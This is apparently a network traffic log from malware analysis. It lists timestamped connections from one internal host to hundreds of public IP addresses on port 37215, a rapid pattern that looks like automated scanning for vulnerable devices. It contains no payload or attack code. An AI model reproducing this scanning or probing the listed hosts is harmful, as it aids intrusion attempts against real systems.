Aug 1, 2024 15:34:58.135971069 CEST	37215	37258	102.39.195.141	192.168.2.14
Aug 1, 2024 15:34:58.135982990 CEST	37215	46614	221.120.194.104	192.168.2.14
Aug 1, 2024 15:34:58.135993958 CEST	37215	54406	41.24.31.127	192.168.2.14
Aug 1, 2024 15:34:58.136004925 CEST	37215	60868	100.252.103.55	192.168.2.14
Aug 1, 2024 15:34:58.136039972 CEST	60868	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.136060953 CEST	54406	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.136167049 CEST	37215	57246	91.252.54.120	192.168.2.14
Aug 1, 2024 15:34:58.136210918 CEST	57246	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.136809111 CEST	37215	34054	41.84.21.46	192.168.2.14
Aug 1, 2024 15:34:58.136852980 CEST	34054	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.137430906 CEST	37215	33046	197.75.199.195	192.168.2.14
Aug 1, 2024 15:34:58.137486935 CEST	33046	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.138067007 CEST	59172	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.138149023 CEST	37215	50774	147.191.79.16	192.168.2.14
Aug 1, 2024 15:34:58.138176918 CEST	50774	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.138808012 CEST	37215	39578	197.62.156.140	192.168.2.14
Aug 1, 2024 15:34:58.139046907 CEST	39578	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.139766932 CEST	37215	34082	157.219.98.19	192.168.2.14
Aug 1, 2024 15:34:58.139950991 CEST	34082	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.140189886 CEST	53684	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.143163919 CEST	37215	59172	197.125.178.115	192.168.2.14
Aug 1, 2024 15:34:58.143208981 CEST	59172	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.144504070 CEST	58756	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.145004988 CEST	37215	53684	41.49.111.213	192.168.2.14
Aug 1, 2024 15:34:58.145045996 CEST	53684	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.149333000 CEST	37215	58756	157.53.30.186	192.168.2.14
Aug 1, 2024 15:34:58.151170015 CEST	58756	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.151660919 CEST	55906	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.152600050 CEST	38288	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.153660059 CEST	51770	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.155214071 CEST	36330	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.156198025 CEST	43452	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.156944036 CEST	37215	55906	197.212.133.243	192.168.2.14
Aug 1, 2024 15:34:58.156986952 CEST	55906	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.157252073 CEST	46644	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.157864094 CEST	37215	38288	197.23.159.50	192.168.2.14
Aug 1, 2024 15:34:58.157905102 CEST	38288	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.158176899 CEST	53494	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.158627987 CEST	37215	51770	197.156.116.195	192.168.2.14
Aug 1, 2024 15:34:58.158673048 CEST	51770	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.158894062 CEST	50548	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.160290003 CEST	34898	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.160352945 CEST	37215	36330	41.94.135.61	192.168.2.14
Aug 1, 2024 15:34:58.160454035 CEST	36330	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.160903931 CEST	34118	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.161207914 CEST	37215	43452	58.248.163.171	192.168.2.14
Aug 1, 2024 15:34:58.161375999 CEST	43452	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.161911964 CEST	60364	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.162316084 CEST	37215	46644	200.108.203.195	192.168.2.14
Aug 1, 2024 15:34:58.162357092 CEST	46644	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.162941933 CEST	55946	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.163050890 CEST	37215	53494	157.44.4.136	192.168.2.14
Aug 1, 2024 15:34:58.163094997 CEST	53494	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.163744926 CEST	37215	50548	41.63.31.12	192.168.2.14
Aug 1, 2024 15:34:58.163793087 CEST	50548	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.163873911 CEST	34608	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.165188074 CEST	38350	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:58.165205956 CEST	35486	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:58.165205956 CEST	48580	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:58.165224075 CEST	44852	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:58.165224075 CEST	44082	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:58.165255070 CEST	46612	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:58.165273905 CEST	55838	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:58.165520906 CEST	37215	34898	41.228.33.211	192.168.2.14
Aug 1, 2024 15:34:58.165637970 CEST	34898	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.165822983 CEST	37215	34118	157.37.239.222	192.168.2.14
Aug 1, 2024 15:34:58.165865898 CEST	34118	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.165950060 CEST	56862	37215	192.168.2.14	8.168.250.255
Aug 1, 2024 15:34:58.166755915 CEST	37215	60364	196.225.244.156	192.168.2.14
Aug 1, 2024 15:34:58.166824102 CEST	60364	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.167159081 CEST	38288	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.167754889 CEST	37215	55946	157.66.197.74	192.168.2.14
Aug 1, 2024 15:34:58.167807102 CEST	55946	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.168576002 CEST	58784	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.168602943 CEST	37215	34608	157.94.115.44	192.168.2.14
Aug 1, 2024 15:34:58.168642044 CEST	34608	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.169454098 CEST	56422	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.170303106 CEST	37215	46612	157.130.88.220	192.168.2.14
Aug 1, 2024 15:34:58.170363903 CEST	37215	55838	166.129.216.186	192.168.2.14
Aug 1, 2024 15:34:58.170499086 CEST	38442	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.170676947 CEST	37215	56862	8.168.250.255	192.168.2.14
Aug 1, 2024 15:34:58.170933008 CEST	56862	37215	192.168.2.14	8.168.250.255
Aug 1, 2024 15:34:58.171292067 CEST	46658	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.171308041 CEST	58240	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.171320915 CEST	45634	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.171339989 CEST	53014	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.171365976 CEST	54406	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.171390057 CEST	36502	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.171406031 CEST	42612	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.171427011 CEST	56302	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.171446085 CEST	43122	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.171489954 CEST	54412	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.171489954 CEST	54890	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.171506882 CEST	44792	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.171551943 CEST	36488	37215	192.168.2.14	157.55.116.173
Aug 1, 2024 15:34:58.171551943 CEST	50448	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.171561003 CEST	57782	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.171585083 CEST	35330	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.171606064 CEST	39006	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.171623945 CEST	50402	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.171652079 CEST	51216	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.171667099 CEST	57916	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.171706915 CEST	53558	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.171708107 CEST	35868	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.171719074 CEST	43126	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.171757936 CEST	41150	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.171771049 CEST	57220	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.171796083 CEST	35730	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.171798944 CEST	41566	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.171813965 CEST	53588	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.171830893 CEST	49900	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.171854973 CEST	49856	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.171863079 CEST	38210	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.171885967 CEST	42762	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.171921015 CEST	49460	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.171926022 CEST	53122	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.171941042 CEST	48260	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.171981096 CEST	41412	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.171982050 CEST	48784	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.172015905 CEST	43032	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.172017097 CEST	49540	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.172036886 CEST	50436	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.172049999 CEST	43700	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.172069073 CEST	53284	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.172106981 CEST	55618	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.172107935 CEST	39872	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.172147036 CEST	56370	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.172147036 CEST	43312	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.172169924 CEST	54618	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.172189951 CEST	49140	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.172223091 CEST	36164	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.172224045 CEST	41764	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.172241926 CEST	46298	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.172247887 CEST	37215	38288	41.38.181.108	192.168.2.14
Aug 1, 2024 15:34:58.172254086 CEST	38880	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.172291994 CEST	36606	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.172291994 CEST	38288	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.172297001 CEST	60728	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.172321081 CEST	60292	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.172347069 CEST	43460	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.172353983 CEST	45024	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.172380924 CEST	57802	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.172393084 CEST	43280	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.172409058 CEST	58516	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.172429085 CEST	37320	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.172440052 CEST	34108	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.172497034 CEST	51886	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.172502995 CEST	38050	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.172504902 CEST	37500	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.172507048 CEST	60510	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.172535896 CEST	43050	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.172548056 CEST	51354	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.172561884 CEST	49856	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.172581911 CEST	39718	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.172616005 CEST	40568	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.172616005 CEST	58116	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.172631979 CEST	58542	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.172657967 CEST	60636	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.172683001 CEST	58386	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.172709942 CEST	52530	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.172710896 CEST	44648	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.172729969 CEST	44656	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.172740936 CEST	58458	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.172760010 CEST	60296	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.172785997 CEST	53748	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.172797918 CEST	43462	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.172833920 CEST	60920	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.172849894 CEST	47536	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.172856092 CEST	56012	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.172873974 CEST	51178	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.172895908 CEST	36854	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.172914028 CEST	59706	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.172939062 CEST	49628	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.172974110 CEST	54484	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.172975063 CEST	35678	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.172986984 CEST	48904	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.173012018 CEST	53976	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.173038006 CEST	54406	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.173046112 CEST	60868	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.173065901 CEST	57246	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.173086882 CEST	34054	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.173101902 CEST	33046	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.173130035 CEST	50774	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.173147917 CEST	39578	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.173178911 CEST	59172	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.173202038 CEST	53684	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.173203945 CEST	34082	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.173232079 CEST	55906	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.173250914 CEST	38288	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.173279047 CEST	58756	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.173283100 CEST	51770	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.173300982 CEST	36330	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.173331022 CEST	43452	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.173332930 CEST	46644	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.173346996 CEST	53494	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.173382998 CEST	46612	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:58.173391104 CEST	55838	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:58.173414946 CEST	39006	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:58.173429966 CEST	43474	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:58.173445940 CEST	50548	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.173450947 CEST	59092	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.173485994 CEST	52746	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.173702955 CEST	37215	58784	157.164.17.192	192.168.2.14
Aug 1, 2024 15:34:58.173752069 CEST	58784	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.173845053 CEST	36378	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.174401999 CEST	37215	56422	41.85.61.54	192.168.2.14
Aug 1, 2024 15:34:58.174462080 CEST	56422	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.174638987 CEST	47622	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.175038099 CEST	46658	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.175044060 CEST	58240	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.175044060 CEST	45634	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.175050974 CEST	53014	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.175060034 CEST	54406	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.175072908 CEST	36502	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.175072908 CEST	42612	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.175081015 CEST	56302	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.175096989 CEST	43122	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.175112963 CEST	54890	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.175117970 CEST	44792	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.175120115 CEST	54412	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.175136089 CEST	57782	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.175144911 CEST	50448	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.175143003 CEST	36488	37215	192.168.2.14	157.55.116.173
Aug 1, 2024 15:34:58.175156116 CEST	35330	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.175156116 CEST	39006	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.175156116 CEST	50402	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.175179958 CEST	57916	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.175180912 CEST	51216	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.175196886 CEST	53558	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.175198078 CEST	43126	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.175199032 CEST	35868	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.175205946 CEST	41150	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.175205946 CEST	57220	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.175220013 CEST	35730	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.175229073 CEST	53588	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.175234079 CEST	49900	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.175249100 CEST	38210	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.175261974 CEST	41566	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.175265074 CEST	42762	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.175266981 CEST	49856	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.175273895 CEST	53122	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.175283909 CEST	48260	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.175292969 CEST	49460	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.175297022 CEST	48784	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.175302982 CEST	41412	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.175319910 CEST	43032	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.175324917 CEST	50436	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.175328016 CEST	49540	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.175328016 CEST	43700	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.175343990 CEST	53284	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.175354958 CEST	55618	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.175368071 CEST	39872	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.175368071 CEST	56370	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.175390959 CEST	54618	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.175401926 CEST	49140	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.175410986 CEST	41764	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.175419092 CEST	46298	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.175419092 CEST	38880	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.175422907 CEST	43312	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.175427914 CEST	36164	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.175436974 CEST	60728	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.175463915 CEST	57802	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.175463915 CEST	45024	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.175466061 CEST	36606	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.175466061 CEST	43460	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.175471067 CEST	58516	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.175473928 CEST	37320	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.175478935 CEST	60292	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.175478935 CEST	43280	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.175487995 CEST	34108	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.175506115 CEST	60510	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.175506115 CEST	51886	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.175523996 CEST	51354	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.175524950 CEST	37500	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.175524950 CEST	43050	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.175528049 CEST	49856	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.175538063 CEST	38050	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.175542116 CEST	39718	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.175554037 CEST	40568	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.175554037 CEST	58116	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.175559998 CEST	58542	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.175575972 CEST	60636	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.175596952 CEST	52530	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.175602913 CEST	44656	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.175606012 CEST	58458	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.175617933 CEST	60296	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.175621033 CEST	58386	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.175621986 CEST	44648	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.175625086 CEST	43462	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.175632954 CEST	53748	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.175646067 CEST	60920	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.175653934 CEST	47536	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.175653934 CEST	51178	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.175669909 CEST	59706	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.175671101 CEST	36854	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.175685883 CEST	49628	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.175689936 CEST	56012	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.175698042 CEST	35678	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.175700903 CEST	54484	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.175708055 CEST	48904	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.175734043 CEST	60868	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.175740004 CEST	54406	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.175740957 CEST	57246	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.175741911 CEST	53976	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.175760984 CEST	33046	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.175766945 CEST	34054	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.175766945 CEST	50774	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.175770044 CEST	37215	38442	34.214.141.25	192.168.2.14
Aug 1, 2024 15:34:58.175781965 CEST	39578	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.175789118 CEST	59172	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.175806999 CEST	38442	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.175807953 CEST	34082	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.175826073 CEST	55906	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.175826073 CEST	58756	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.175831079 CEST	53684	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.175832033 CEST	51770	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.175833941 CEST	38288	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.175853968 CEST	36330	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.175853968 CEST	43452	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.175860882 CEST	46644	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.175868988 CEST	53494	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.175877094 CEST	50548	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.175921917 CEST	34118	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.175937891 CEST	60364	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.175966978 CEST	39006	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:58.175972939 CEST	56862	37215	192.168.2.14	8.168.250.255
